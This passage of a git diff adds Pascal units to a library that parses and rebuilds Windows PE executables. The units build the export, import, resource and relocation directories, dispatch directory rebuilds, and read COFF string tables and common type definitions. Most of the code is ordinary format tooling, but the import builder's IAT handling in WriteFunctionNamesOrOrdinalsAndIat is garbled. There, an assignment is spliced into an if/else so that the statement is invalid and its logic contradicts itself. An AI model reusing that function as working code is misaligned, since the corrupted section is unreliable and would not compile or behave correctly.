end; + +implementation + +uses + Generics.Defaults, + Generics.Collections, + SysUtils, + PE.ExportSym, + PE.Types.Export; + +type + TSym = record + sym: TPEExportSym; + nameRVA: TRVA; + end; + + TSyms = TList<TSym>; + + { TExportBuilder } + + + TSymCompare = class (TComparer<TSym>) + function Compare(constref a, b: TSym): Integer; override; + end; + +function TSymCompare.Compare(constref a, b: TSym): integer; +begin + Result := CompareStr(a.sym.Name, b.sym.Name) +end; + +procedure TExportBuilder.Build(DirRVA: UInt64; Stream: TStream); +var + i: integer; + ExpDir: TImageExportDirectory; + ofs_SymRVAs: uint32; // sym rvas offsets + ofs_NameRVAs: uint32; // name rva offsets + ofs_NameOrds: uint32; // name ordinals + ofs_LibName: uint32; // offset of address of names + sym: TPEExportSym; + rva32: uint32; + RVAs: packed array of uint32; + minIndex, maxIndex: word; +var + nSyms: TSyms; + nSym: TSym; + ordinal: word; + + +begin + nSyms := TSyms.Create; + + try + // Collect named items. + // Find min and max index. + maxIndex := 0; + if FPE.ExportSyms.Count = 0 then + minIndex := 1 + else + minIndex := $FFFF; + + for sym in FPE.ExportSyms.Items do + begin + nSym.sym := sym; + nSym.nameRVA := 0; + nSyms.Add(nSym); + + if sym.ordinal > maxIndex then + maxIndex := sym.ordinal; + if sym.ordinal < minIndex then + minIndex := sym.ordinal; + end; + + // Create RVAs. + if maxIndex <> 0 then + begin + SetLength(RVAs, maxIndex); + for i := 0 to FPE.ExportSyms.Count - 1 do + begin + sym := FPE.ExportSyms.Items[i]; + if sym.ordinal <> 0 then + RVAs[sym.ordinal - minIndex] := sym.RVA; + end; + end; + + // Calc offsets. + ofs_SymRVAs := SizeOf(ExpDir); + ofs_NameRVAs := ofs_SymRVAs + Length(RVAs) * SizeOf(rva32); + ofs_NameOrds := ofs_NameRVAs + nSyms.Count * SizeOf(rva32); + ofs_LibName := ofs_NameOrds + nSyms.Count * SizeOf(ordinal); + + // Initial seek. + Stream.Size := ofs_LibName; + Stream.Position := ofs_LibName; + + // Write exported name. + if FPE.ExportedName <> '' then + StreamWriteStringA(Stream, FPE.ExportedName); + + // Sort nSyms by names (lexicographical order) to allow binary searches. + + nSyms.Sort(TSymCompare.Create); + + { + nSyms.Sort(TComparer<TSym>.Construct( + function(const a, b: TSym): integer + begin + Result := CompareStr(a.sym.Name, b.sym.Name) + end + )); + } + // Write names. + for i := 0 to nSyms.Count - 1 do + begin + nSym := nSyms[i]; + nSym.nameRVA := DirRVA + Stream.Position; + nSyms[i] := nSym; + StreamWriteStringA(Stream, nSym.sym.Name); + end; + + // Write forwarder names. + for i := 0 to nSyms.Count - 1 do + begin + nSym := nSyms[i]; + if nSym.sym.Forwarder then + begin + RVAs[nSym.sym.ordinal - minIndex] := DirRVA + Stream.Position; + StreamWriteStringA(Stream, nSym.sym.ForwarderName); + end; + end; + + // Fill export dir. + ExpDir.ExportFlags := 0; + ExpDir.TimeDateStamp := 0; + ExpDir.MajorVersion := 0; + ExpDir.MinorVersion := 0; + if FPE.ExportedName <> '' then + ExpDir.nameRVA := DirRVA + ofs_LibName + else + ExpDir.nameRVA := 0; + ExpDir.OrdinalBase := minIndex; + ExpDir.AddressTableEntries := Length(RVAs); + ExpDir.NumberOfNamePointers := nSyms.Count; + ExpDir.ExportAddressTableRVA := DirRVA + ofs_SymRVAs; + ExpDir.NamePointerRVA := DirRVA + ofs_NameRVAs; + ExpDir.OrdinalTableRVA := DirRVA + ofs_NameOrds; + + // Seek start. + Stream.Position := 0; + + // Write export dir. + Stream.Write(ExpDir, SizeOf(ExpDir)); + + // Write RVAs of all symbols. + StreamWrite(Stream, RVAs[0], Length(RVAs) * SizeOf(RVAs[0])); + + // Write name RVAs. + for i := 0 to nSyms.Count - 1 do + begin + nSym := nSyms[i]; + rva32 := nSym.nameRVA; + StreamWrite(Stream, rva32, SizeOf(rva32)); + end; + + // Write name ordinals. + for i := 0 to nSyms.Count - 1 do + begin + nSym := nSyms[i]; + ordinal := nSym.sym.ordinal - minIndex; + StreamWrite(Stream, ordinal, SizeOf(ordinal)); + end; + + finally + nSyms.Free; + end; +end; + +class function TExportBuilder.GetDefaultSectionFlags: Cardinal; +begin + Result := $40000040; // readable, initialized data +end; + +class function TExportBuilder.GetDefaultSectionName: string; +begin + Result := '.edata'; +end; + +class function TExportBuilder.NeedRebuildingIfRVAChanged: Boolean; +begin + Result := True; +end; + +end. diff --git a/Core/PE/PE.Build.Import.pas b/Core/PE/PE.Build.Import.pas new file mode 100755 index 0000000..aa36c91 --- /dev/null +++ b/Core/PE/PE.Build.Import.pas @@ -0,0 +1,251 @@ +unit PE.Build.Import; + +interface + +uses + Classes, + Generics.Collections, + SysUtils, + + PE.Common, + PE.Section, + PE.Build.Common, + PE.Utils; + +type + TImportBuilder = class(TDirectoryBuilder) + public + // Modified after Build called. + BuiltIatRVA: TRVA; + BuiltIatSize: uint32; + procedure Build(DirRVA: TRVA; Stream: TStream); override; + class function GetDefaultSectionFlags: Cardinal; override; + class function GetDefaultSectionName: string; override; + class function NeedRebuildingIfRVAChanged: Boolean; override; + end; + +implementation + +uses + // Expand + PE.Image, + PE.Types.FileHeader, + // + PE.Imports, + PE.Imports.Lib, + PE.Imports.Func, + PE.Types.Imports; + +{ + * Import directory layout + * + * IDT. + * For each library + * Import Descriptor + * Null Import Descriptor + * + * Name pointers. + * For each library + * For each function + * Pointer to function hint/name or ordinal + * Null pointer + * + * IAT. + * For each library + * For each function + * Function address + * Null address + * + * Names. + * For each library + * Library name + * ** align 2 ** + * For each function + * Hint: uint16 + * Function name: variable length +} +procedure WriteStringAligned2(Stream: TStream; const s: string); +const + null: byte = 0; +var + bytes: TBytes; +begin + bytes := TEncoding.ANSI.GetBytes(s); + StreamWrite(Stream, bytes[0], length(bytes)); + StreamWrite(Stream, null, 1); + if Stream.Position mod 2 <> 0 then + StreamWrite(Stream, null, 1); +end; + +procedure WriteIDT( + Stream: TStream; + var ofs_idt: uint32; + const idt: TImportDirectoryTable); +begin + Stream.Position := ofs_idt; + StreamWrite(Stream, idt, sizeof(idt)); + inc(ofs_idt, sizeof(idt)); +end; + +procedure WriteNullIDT(Stream: TStream; var ofs_idt: uint32); +var + idt: TImportDirectoryTable; +begin + idt.Clear; + WriteIDT(Stream, ofs_idt, idt); +end; + +// Write library name and set idt name pointer, update name pointer offset. +procedure WriteLibraryName( + Stream: TStream; + Lib: TPEImportLibrary; + DirRVA: TRVA; + var ofs_names: uint32; + var idt: TImportDirectoryTable); +begin + // library name + idt.NameRVA := DirRVA + ofs_names; + Stream.Position := ofs_names; + WriteStringAligned2(Stream, Lib.Name); + ofs_names := Stream.Position; +end; + +function MakeOrdinalRVA(ordinal: uint16; wordsize: byte): TRVA; inline; +begin + if wordsize = 4 then + result := $80000000 or ordinal + else + result := $8000000000000000 or ordinal; +end; + +procedure WriteFunctionNamesOrOrdinalsAndIat( + Stream: TStream; + Lib: TPEImportLibrary; + DirRVA: TRVA; + var ofs_names: uint32; + var ofs_name_pointers: uint32; + var ofs_iat: uint32; + var idt: TImportDirectoryTable; + wordsize: byte); +var + hint: uint16; + fn: TPEImportFunction; + rva_hint_name: TRVA; +begin + if Lib.Functions.Count = 0 then + exit; + + idt.ImportLookupTableRVA := DirRVA + ofs_name_pointers; + if (not Lib.Original) then + Lib.IatRva := idt.ImportAddressTable; begin + idt.ImportAddressTable := DirRVA + ofs_iat; + // Update IAT in library. + Lib.IatRva := idt.ImportAddressTable; + end + else + begin + idt.ImportAddressTable := Lib.IatRva; + end; + + hint := 0; + for fn in Lib.Functions do + begin + // Write name. + if not fn.Name.IsEmpty then + begin + // If imported by name. + rva_hint_name := DirRVA + ofs_names; + Stream.Position := ofs_names; + StreamWrite(Stream, hint, sizeof(hint)); + WriteStringAligned2(Stream, fn.Name); + ofs_names := Stream.Position; + end + else + begin + // If imported by ordinal. + rva_hint_name := MakeOrdinalRVA(fn.ordinal, wordsize); + end; + + // Write name pointer. + Stream.Position := ofs_name_pointers; + StreamWrite(Stream, rva_hint_name, wordsize); + inc(ofs_name_pointers, wordsize); + + // Write IAT item. + Stream.Position := ofs_iat; + StreamWrite(Stream, rva_hint_name, wordsize); + inc(ofs_iat, wordsize); + end; + + rva_hint_name := 0; + + // Write null name pointer. + Stream.Position := ofs_name_pointers; + StreamWrite(Stream, rva_hint_name, wordsize); + ofs_name_pointers := Stream.Position; + + // Write null IAT item. + Stream.Position := ofs_iat; + StreamWrite(Stream, rva_hint_name, wordsize); + inc(ofs_iat, wordsize); +end; + +procedure TImportBuilder.Build(DirRVA: TRVA; Stream: TStream); +var + idt: TImportDirectoryTable; + Lib: TPEImportLibrary; + elements: uint32; +var + ofs_idt: uint32; + ofs_name_pointers: uint32; + ofs_iat, ofs_iat_0: uint32; + ofs_names: uint32; +begin + BuiltIatRVA := 0; + BuiltIatSize := 0; + + if FPE.Imports.Libs.Count = 0 then + exit; + + // Calculate initial offsets. + elements := 0; + for Lib in FPE.Imports.Libs do + inc(elements, Lib.Functions.Count + 1); + + ofs_idt := 0; + ofs_name_pointers := sizeof(idt) * (FPE.Imports.Libs.Count + 1); + ofs_iat := ofs_name_pointers + elements * (FPE.ImageWordSize); + ofs_iat_0 := ofs_iat; + ofs_names := ofs_name_pointers + 2 * elements * (FPE.ImageWordSize); + + // Write. + for Lib in FPE.Imports.Libs do + begin + idt.Clear; + WriteLibraryName(Stream, Lib, DirRVA, ofs_names, idt); + WriteFunctionNamesOrOrdinalsAndIat(Stream, Lib, DirRVA, + ofs_names, ofs_name_pointers, ofs_iat, idt, FPE.ImageWordSize); + WriteIDT(Stream, ofs_idt, idt); + end; + WriteNullIDT(Stream, ofs_idt); + + self.BuiltIatRVA := DirRVA + ofs_iat_0; + self.BuiltIatSize := ofs_iat - ofs_iat_0; +end; + +class function TImportBuilder.GetDefaultSectionFlags: Cardinal; +begin + result := $C0000040; +end; + +class function TImportBuilder.GetDefaultSectionName: string; +begin + result := '.idata'; +end; + +class function TImportBuilder.NeedRebuildingIfRVAChanged: Boolean; +begin + result := True; +end; + +end. diff --git a/Core/PE/PE.Build.Relocs.pas b/Core/PE/PE.Build.Relocs.pas new file mode 100755 index 0000000..c91598c --- /dev/null +++ b/Core/PE/PE.Build.Relocs.pas @@ -0,0 +1,92 @@ +unit PE.Build.Relocs; + +interface + +uses + System.Classes, + PE.Common, + PE.Build.Common, + PE.Types.Relocations, + PE.Utils; + +type + TRelocBuilder = class(TDirectoryBuilder) + public + procedure Build(DirRVA: TRVA; Stream: TStream); override; + class function GetDefaultSectionFlags: uint32; override; + class function GetDefaultSectionName: string; override; + class function NeedRebuildingIfRVAChanged: boolean; override; + end; + +implementation + +const + RELOC_BLOCK_ALIGN = $1000; + + { TRelocBuilder } + +function CalcBaseRVA(RVA: TRVA): TRVA; inline; +begin + Result := AlignDown(RVA, RELOC_BLOCK_ALIGN); +end; + +procedure TRelocBuilder.Build(DirRVA: TRVA; Stream: TStream); +var + Block: TBaseRelocationBlock; + Cur: TRelocTree.TRBNodePtr; + NextBlockRVA: TRVA; + Pos0, Pos1: UInt64; + Entry: TBaseRelocationEntry; +begin + if FPE.Relocs.Count = 0 then + Exit; + // Relocations are already sorted by RVA. + Cur := FPE.Relocs.Items.First; + while (Cur <> nil) do + begin + // New block. + Pos0 := Stream.Position; + Stream.Position := Pos0 + SizeOf(Block); + Block.PageRVA := CalcBaseRVA(Cur^.K.RVA); + NextBlockRVA := Block.PageRVA + RELOC_BLOCK_ALIGN; + // Entries. + while (Cur <> nil) and (Cur^.K.RVA < NextBlockRVA) do + begin + Entry.raw := (Cur^.K.RVA and $0FFF) or (Cur^.K.&Type shl 12); + Stream.Write(Entry, SizeOf(Entry)); + Cur := FPE.Relocs.Items.GetNext(Cur); + end; + // If not last block, check if need align for next block. + if (Cur <> nil) then + begin + // Each block must start on a 32-bit boundary. + Entry.raw := 0; + while (Stream.Position mod 4) <> 0 do + Stream.Write(Entry, SizeOf(Entry)); + end; + // Write block header. + Pos1 := Stream.Position; + Block.BlockSize := Pos1 - Pos0; + // Write block record. + Stream.Position := Pos0; + Stream.Write(Block, SizeOf(Block)); + Stream.Position := Pos1; + end; +end; + +class function TRelocBuilder.GetDefaultSectionFlags: uint32; +begin + Result := $42000040; // Readable, Discardable, Initialized data. +end; + +class function TRelocBuilder.GetDefaultSectionName: string; +begin + Result := '.reloc'; +end; + +class function TRelocBuilder.NeedRebuildingIfRVAChanged: boolean; +begin + Result := False; +end; + +end. diff --git a/Core/PE/PE.Build.Resource.pas b/Core/PE/PE.Build.Resource.pas new file mode 100755 index 0000000..78701b9 --- /dev/null +++ b/Core/PE/PE.Build.Resource.pas @@ -0,0 +1,265 @@ +unit PE.Build.Resource; + +interface + +uses + System.Classes, + PE.Build.Common, + PE.Common, + PE.Resources, + PE.Types.Resources; + +type + TRsrcBuilder = class(TDirectoryBuilder) + private + // Sizes. + FSizeOfResourceTables: UInt32; + FSizeOfDataDesc: UInt32; + FSizeOfNames: UInt32; + FSizeOfData: UInt32; + procedure ClearSizes; inline; + function CalcSizesCallback(Node: TResourceTreeNode): boolean; + procedure CalcSizes; inline; + private + // Offsets. + FOfsTables: UInt32; + FOfsDataDesc: UInt32; + FOfsNames: UInt32; + FOfsData: UInt32; + FOfsEnd: UInt32; + procedure CalcOffsets; + private + FBaseRVA: TRVA; + FStream: TStream; + // Write name. Result is position of written name. + function WriteName(const Name: UnicodeString): UInt32; + // Write table and update offsets. Result is offset where table was written. + function WriteBranchNode(Root: TResourceTreeBranchNode): UInt32; + // Write leaf data and return offset where it was written. + function WriteLeafData(Node: TResourceTreeLeafNode): UInt32; + // Write leaf node and return offset where it was written. + function WriteLeafNode(Node: TResourceTreeLeafNode): UInt32; + public + procedure Build(DirRVA: TRVA; Stream: TStream); override; + class function GetDefaultSectionFlags: Cardinal; override; + class function GetDefaultSectionName: string; override; + class function NeedRebuildingIfRVAChanged: boolean; override; + end; + +implementation + +uses + // Expand + PE.Image, + // + PE.Utils; + +procedure TRsrcBuilder.Build(DirRVA: TRVA; Stream: TStream); +var + Root: TResourceTreeBranchNode; +begin + FBaseRVA := DirRVA; + CalcSizes; + CalcOffsets; + + Root := FPE.ResourceTree.Root; + + // If there's no items at root exit. + if Root.Children.Count = 0 then + exit; + + // Setup stream. + FStream := Stream; + FStream.Size := FOfsEnd; + // Build nodes starting from root. + WriteBranchNode(Root); +end; + +procedure TRsrcBuilder.CalcSizes; +begin + ClearSizes; + FPE.ResourceTree.Root.Traverse(CalcSizesCallback); +end; + +function TRsrcBuilder.CalcSizesCallback(Node: TResourceTreeNode): boolean; +var + Leaf: TResourceTreeLeafNode; + Branch: TResourceTreeBranchNode; +begin + if Node.IsLeaf then + begin + Leaf := Node as TResourceTreeLeafNode; + inc(FSizeOfDataDesc, SizeOf(TResourceDataEntry)); + inc(FSizeOfData, Leaf.DataSize); + end + else + begin + Branch := Node as TResourceTreeBranchNode; + inc(FSizeOfResourceTables, SizeOf(TResourceDirectoryTable)); + inc(FSizeOfResourceTables, SizeOf(TResourceDirectoryEntry) * Branch.Children.Count); + if Branch.Name <> '' then + begin + inc(FSizeOfNames, 2 + SizeOf(WideChar) * Length(Branch.Name)); + end; + end; + Result := True; +end; + +procedure TRsrcBuilder.ClearSizes; +begin + FSizeOfResourceTables := 0; + FSizeOfDataDesc := 0; + FSizeOfNames := 0; + FSizeOfData := 0; +end; + +class function TRsrcBuilder.GetDefaultSectionFlags: Cardinal; +begin + Result := $40000040; // readable + initialized data +end; + +class function TRsrcBuilder.GetDefaultSectionName: string; +begin + Result := '.rsrc'; +end; + +class function TRsrcBuilder.NeedRebuildingIfRVAChanged: boolean; +begin + Result := True; +end; + +function TRsrcBuilder.WriteLeafData(Node: TResourceTreeLeafNode): UInt32; +var + Pos: UInt32; +begin + Result := FOfsData; + if Node.Data.Size <> 0 then + begin + Pos := FStream.Position; + FStream.Position := FOfsData; + Node.Data.Position := 0; + FStream.CopyFrom(Node.Data, Node.Data.Size); + inc(FOfsData, Node.Data.Size); + FStream.Position := Pos; + end; +end; + +function TRsrcBuilder.WriteLeafNode(Node: TResourceTreeLeafNode): UInt32; +var + DataEntry: TResourceDataEntry; + Pos: UInt32; +begin + Result := FOfsDataDesc; + Pos := FStream.Position; + FStream.Position := FOfsDataDesc; // store pos + // Write data and make data desc. + DataEntry.DataRVA := WriteLeafData(Node) + FBaseRVA; + DataEntry.Size := Node.DataSize; + DataEntry.Codepage := Node.Codepage; + DataEntry.Reserved := 0; + // Write data. + FStream.Write(DataEntry, SizeOf(DataEntry)); + inc(FOfsDataDesc, SizeOf(DataEntry)); + FStream.Position := Pos; // restore pos +end; + +function TRsrcBuilder.WriteBranchNode(Root: TResourceTreeBranchNode): UInt32; +type + TSimpleEntry = packed record + IdOrNameOfs: UInt32; + ChildOfs: UInt32; + end; + + PSimpleEntry = ^TSimpleEntry; +var + Table: TResourceDirectoryTable; + Node: TResourceTreeNode; + Entries: array of TSimpleEntry; + Entry: PSimpleEntry; + Pos: UInt32; +begin + if Root.Children.Count = 0 then + exit(0); + + Pos := FStream.Position; + + Result := FOfsTables; + + // Prepare table. + Table.Characteristics := Root.Characteristics; + Table.TimeDateStamp := Root.TimeDateStamp; + Table.MajorVersion := Root.MajorVersion; + Table.MinorVersion := Root.MinorVersion; + + Table.NumberOfNameEntries := 0; + Table.NumberOfIDEntries := 0; + + for Node in Root.Children do + if Node.IsNamed then + inc(Table.NumberOfNameEntries) + else + inc(Table.NumberOfIDEntries); + + // Write table. + FStream.Position := FOfsTables; + FStream.Write(Table, SizeOf(Table)); + // Update FOfsTables. + inc(FOfsTables, SizeOf(TResourceDirectoryTable)); + inc(FOfsTables, SizeOf(TResourceDirectoryEntry) * Root.Children.Count); + // Entries. + + // Prepare entries. + SetLength(Entries, Root.Children.Count); + Entry := @Entries[0]; + + for Node in Root.Children do + begin + // Set Id or Name. + if Node.IsNamed then + Entry.IdOrNameOfs := WriteName(Node.Name) or $80000000 // Named + else + Entry.IdOrNameOfs := Node.Id; // ID + // Set child offset. + if Node.IsLeaf then + Entry.ChildOfs := WriteLeafNode(TResourceTreeLeafNode(Node)) + else + Entry.ChildOfs := WriteBranchNode(TResourceTreeBranchNode(Node)) or $80000000; + // Next entry. + inc(Entry); + end; + // Write entries. + FStream.Write(Entries[0], Length(Entries) * SizeOf(Entries[0])); + FStream.Position := Pos; // resotre pos +end; + +function TRsrcBuilder.WriteName(const Name: UnicodeString): UInt32; +var + Len: word; + Pos: UInt32; +begin + // Align offset up 2 bytes. + if (FOfsNames mod 2) <> 0 then + inc(FOfsNames); + Pos := FStream.Position; // store pos + Result := FOfsNames; + FStream.Position := FOfsNames; + Len := Length(Name); + FStream.Write(Len, 2); + FStream.Write(Name[1], Length(Name) * SizeOf(Name[1])); + FOfsNames := FStream.Position; + FStream.Position := Pos; // restore pos +end; + +procedure TRsrcBuilder.CalcOffsets; +var + MachineWord: Byte; +begin + MachineWord := FPE.GetImageBits div 8; + FOfsTables := 0; + FOfsDataDesc := FOfsTables + FSizeOfResourceTables; + FOfsNames := FOfsDataDesc + FSizeOfDataDesc; + FOfsData := AlignUp(FOfsNames + FSizeOfNames, MachineWord); + FOfsEnd := FOfsData + FSizeOfData; +end; + +end. diff --git a/Core/PE/PE.Build.pas b/Core/PE/PE.Build.pas new file mode 100755 index 0000000..a93f38c --- /dev/null +++ b/Core/PE/PE.Build.pas @@ -0,0 +1,165 @@ +unit PE.Build; + +interface + +uses + System.Classes, + PE.Common, + PE.Section; + +{ + * Rebuild directory data. + * + * If TryToOverwritesection is True, it will try to put new section at + * old section space (if new section is smaller). + * + * If new section is bigger than old it will be forced to create new section. + * + * Result is new section if it was created or nil if old section was replaced. +} +function ReBuildDirData(PE: TObject; DDIR_ID: integer; Overwrite: boolean): TPESection; + +implementation + +uses + PE.Image, + PE.Types.Directories, + PE.Build.Common, + + PE.Build.Export, + PE.Build.Import, + PE.Build.Resource, + PE.Build.Relocs; + +const + RebuilderTable: array [0 .. DDIR_LAST] of TDirectoryBuilderClass = + ( + PE.Build.Export.TExportBuilder, // export + PE.Build.Import.TImportBuilder, // import + PE.Build.Resource.TRsrcBuilder, // resources + nil, // exception + nil, // certificate + PE.Build.Relocs.TRelocBuilder, // relocations + nil, // debug + nil, // architecture + nil, // global ptr + nil, // tls + nil, // load config + nil, // bound import + nil, // iat + nil, // delay import + nil // clr runtime header + ); + +function ReBuildDirData(PE: TObject; DDIR_ID: integer; Overwrite: boolean): TPESection; +var + stream: TMemoryStream; + builder: TDirectoryBuilder; + img: TPEImage; + sec: TPESection; + dir: TImageDataDirectory; + prognoseRVA, destRVA: TRVA; + destMem: Pointer; + destSize: uint32; +begin + Result := nil; + + if (DDIR_ID < 0) or (DDIR_ID > High(RebuilderTable)) then + exit; // no builder found + + if RebuilderTable[DDIR_ID] = nil then + exit; // no builder found + + img := PE as TPEImage; + + builder := RebuilderTable[DDIR_ID].Create(img); + stream := TMemoryStream.Create; + try + + // Prognose dest RVA. + if img.DataDirectories.Get(DDIR_ID, @dir) then + prognoseRVA := dir.VirtualAddress + else + prognoseRVA := 0; + + // Build to get size. + builder.Build(prognoseRVA, stream); + + sec := nil; + destRVA := 0; // compiler friendly + destSize := 0; // compiler friendly + + // Try to get old section space. + if Overwrite then + if img.DataDirectories.Get(DDIR_ID, @dir) then + if dir.Size >= stream.Size then + if img.RVAToSec(dir.VirtualAddress, @sec) then + begin + // If directory occupies whole section. + if (sec.RVA = dir.VirtualAddress) and (sec.RawSize = dir.Size) then + begin + // Leave section as it is. + end; + // Set dest rva/size (reuse this section). + destRVA := dir.VirtualAddress; + destSize := dir.Size; + end; + + // If stream is empty, no need to rebuild anything. + if stream.Size <> 0 then + begin + + // If we still have no section, create new with default name and flags. + // User can change it later. + if sec = nil then + begin + sec := img.Sections.AddNew(builder.GetDefaultSectionName, + stream.Size, builder.GetDefaultSectionFlags, nil); + destRVA := sec.RVA; + destSize := stream.Size; + // Make old data directory region unused. + if img.DataDirectories.Get(DDIR_ID, @dir) then + img.RegionRemove(dir.VirtualAddress, dir.Size); + end; + + // Rebuild data to have valid RVAs (if prognose is wrong) + if builder.NeedRebuildingIfRVAChanged then + if prognoseRVA <> destRVA then + begin + stream.Clear; + builder.Build(destRVA, stream); + end; + + // Get address where data of built directory should reside. + destMem := img.RVAToMem(destRVA); + + // Move built data to section. + Move(stream.Memory^, destMem^, stream.Size); + end + else + begin + // If stream size = 0 + destRVA := 0; + destSize := 0; + end; + + // Update directory pointer. + img.DataDirectories.Put(DDIR_ID, destRVA, destSize); + + // For imports also update IAT table. + if DDIR_ID = DDIR_IMPORT then + begin + img.DataDirectories.Put(DDIR_IAT, + TImportBuilder(builder).BuiltIatRVA, + TImportBuilder(builder).BuiltIatSize); + end; + + Result := sec; + + finally + builder.Free; + stream.Free; + end; +end; + +end. diff --git a/Core/PE/PE.COFF.Types.pas b/Core/PE/PE.COFF.Types.pas new file mode 100755 index 0000000..c681222 --- /dev/null +++ b/Core/PE/PE.COFF.Types.pas @@ -0,0 +1,66 @@ +unit PE.COFF.Types; + +interface + +type + // 4.4.1. Symbol Name Representation + + TCOFFSymbolTableName = packed record + case byte of + 0: + (ShortName: array [0 .. 7] of AnsiChar); + 1: + (u: record Zeroes, Offset: uint32; end); + end; + + // 4.4. COFF Symbol Table + + TCOFFSymbolTable = packed record + + Name: TCOFFSymbolTableName; + + // The value that is associated with the symbol. The interpretation of this + // field depends on SectionNumber and StorageClass. A typical meaning is + // the relocatable address. + Value: uint32; + + // The signed integer that identifies the section, using a one-based index + // into the section table. Some values have special meaning, as defined in + // section 5.4.2, Section Number Values. + SectionNumber: int16; + + // A number that represents type. Microsoft tools set this field to 0x20 + // (function) or 0x0 (not a function). For more information, see section + // 5.4.3, Type Representation. + &Type: uint16; + + // An enumerated value that represents storage class. For more information, + // see section 5.4.4, Storage Class. + StorageClass: uint8; + + // The number of auxiliary symbol table entries that follow this record. + NumberOfAuxSymbols: uint8; + + end; + + // 4.4.2. Section Number Values + +const + // The symbol record is not yet assigned a section. A value of zero indicates + // that a reference to an external symbol is defined elsewhere. A value of + // non-zero is a common symbol with a size that is specified by the value. + IMAGE_SYM_UNDEFINED = 0; + + // The symbol has an absolute (non-relocatable) value and is not an address. + IMAGE_SYM_ABSOLUTE = -1; + + // The symbol provides general type or debugging information but does not + // correspond to a section. Microsoft tools use this setting along with .file + // records (storage class FILE). + IMAGE_SYM_DEBUG = -2; + + // ... also other info + +implementation + +end. diff --git a/Core/PE/PE.COFF.pas b/Core/PE/PE.COFF.pas new file mode 100755 index 0000000..d28c668 --- /dev/null +++ b/Core/PE/PE.COFF.pas @@ -0,0 +1,103 @@ +unit PE.COFF; + +interface + +uses + Classes, + SysUtils, + PE.COFF.Types; + +type + TCOFF = class + private + FPE: TObject; + FStrings: TBytes; + procedure LoadStrings(AStream: TStream); + public + constructor Create(PEImage: TObject); + + procedure Clear; + procedure LoadFromStream(AStream: TStream); + + function GetString(Offset: integer; out Str: String): boolean; + end; + +implementation + +uses + // Expand + PE.Types.FileHeader, + // + PE.Common, + PE.Image, + PE.Utils; + +{ TCOFF } + +procedure TCOFF.Clear; +begin + SetLength(FStrings, 0); +end; + +constructor TCOFF.Create(PEImage: TObject); +begin + self.FPE := PEImage; +end; + +function TCOFF.GetString(Offset: integer; out Str: String): boolean; +begin + Result := (Offset >= 0) and (Offset < Length(FStrings)); + if Result then + Str := String(PAnsiChar(@FStrings[Offset])); +end; + +procedure TCOFF.LoadFromStream(AStream: TStream); +begin + LoadStrings(AStream); +end; + +procedure TCOFF.LoadStrings(AStream: TStream); +var + StrTableOfs, EndPos: uint64; + cbStringData: uint32; + FileHdr: TImageFileHeader; +begin + Clear; + + // 4.6. COFF String Table + + FileHdr := TPEImage(FPE).FileHeader^; + + if FileHdr.PointerToSymbolTable = 0 then + exit; + + if FileHdr.PointerToSymbolTable >= AStream.Size then + begin + TPEImage(FPE).Msg.Write('[FileHeader] Bad PointerToSymbolTable (0x%x)', [FileHdr.PointerToSymbolTable]); + exit; + end; + + StrTableOfs := + FileHdr.PointerToSymbolTable + + FileHdr.NumberOfSymbols * SizeOf(TCOFFSymbolTable); + + if not StreamSeek(AStream, StrTableOfs) then + exit; // table not found + + if not StreamPeek(AStream, cbStringData, SizeOf(cbStringData)) then + exit; + + EndPos := AStream.Position + cbStringData; + + if EndPos > AStream.Size then + exit; + + // Load string block. + if cbStringData <> 0 then + begin + SetLength(FStrings, cbStringData); + StreamRead(AStream, FStrings[0], cbStringData); + end; +end; + +end. diff --git a/Core/PE/PE.Common.pas b/Core/PE/PE.Common.pas new file mode 100755 index 0000000..1232711 --- /dev/null +++ b/Core/PE/PE.Common.pas @@ -0,0 +1,675 @@ +unit PE.Common; + +interface + +uses + Generics.Collections,Classes,sysutils; + + +{$MINENUMSIZE 4} + +{ Base types } + +type + Int8 = ShortInt; + Int16 = SmallInt; + Int32 = Integer; + IntPtr = NativeInt; + UInt8 = Byte; + UInt16 = Word; + UInt32 = Cardinal; + + Dword = UInt32; + PDword = ^Dword; + + TVA = UInt64; + TRVA = UInt64; + + PInt8 = ^Int8; + PInt16 = ^Int16; + PInt32 = ^Int32; + PInt64 = ^Int64; + + PUInt8 = ^UInt8; + PUInt16 = ^UInt16; + PUInt32 = ^UInt32; + PUInt64 = ^UInt64; + + TFileOffset = type UInt64; + + TParserFlag = ( + PF_EXPORT, + PF_IMPORT, + PF_IMPORT_DELAYED, + PF_RELOCS, + PF_TLS, + PF_RESOURCES + ); + + TParserFlags = set of TParserFlag; + + TPEImageKind = ( + PEIMAGE_KIND_DISK, + PEIMAGE_KIND_MEMORY + ); + + TPEImageObject = TObject; // Meant to cast TObject -> TPEImage + + TParserOption = ( + // If section vsize is 0 try to use rsize instead. + PO_SECTION_VSIZE_FALLBACK, + + // Rename non-alphanumeric section names. + PO_SECTION_AUTORENAME_NON_ALPHANUMERIC, + + // If data directory is invalid directory RVA and Size nulled. + PO_NULL_INVALID_DIRECTORY + ); + + TParserOptions = set of TParserOption; + +const + MAX_PATH_WIN = 260; + + SUSPICIOUS_MIN_LIMIT_EXPORTS = $10000; + DEFAULT_SECTOR_SIZE = 512; + DEFAULT_PAGE_SIZE = 4096; + + ALL_PARSER_FLAGS = [PF_EXPORT, PF_IMPORT, PF_IMPORT_DELAYED, PF_RELOCS, + PF_TLS, PF_RESOURCES]; + + DEFAULT_PARSER_FLAGS = ALL_PARSER_FLAGS; + + DEFAULT_OPTIONS = [ + PO_SECTION_VSIZE_FALLBACK, + + // This is disabled by default because now it can reject good names, like + // .text, .data. In future this option must be either removed or reworked. + // PO_SECTION_AUTORENAME_NON_ALPHANUMERIC, + + PO_NULL_INVALID_DIRECTORY + ]; + + // Data directories. + DDIR_EXPORT = 0; + DDIR_IMPORT = 1; + DDIR_RESOURCE = 2; + DDIR_EXCEPTION = 3; + DDIR_CERTIFICATE = 4; + DDIR_RELOCATION = 5; + DDIR_DEBUG = 6; + DDIR_ARCHITECTURE = 7; + DDIR_GLOBALPTR = 8; + DDIR_TLS = 9; + DDIR_LOADCONFIG = 10; + DDIR_BOUNDIMPORT = 11; + DDIR_IAT = 12; + DDIR_DELAYIMPORT = 13; + DDIR_CLRRUNTIMEHEADER = 14; + + DDIR_LAST = 14; + +type + TParserResult = (PR_OK, PR_ERROR, PR_SUSPICIOUS); + + { Overlay } + +type + TOverlay = packed record + Offset: TFileOffset; + Size: UInt64; + end; + + POverlay = ^TOverlay; + +{$SCOPEDENUMS ON} + TEndianness = (Little, Big); +{$SCOPEDENUMS OFF} + + +const + SCategoryLoadFromFile = 'LoadFromFile'; + SCategoryDOSHeader = 'DOS Header'; + SCategorySections = 'Sections'; + SCategoryDataDirecory 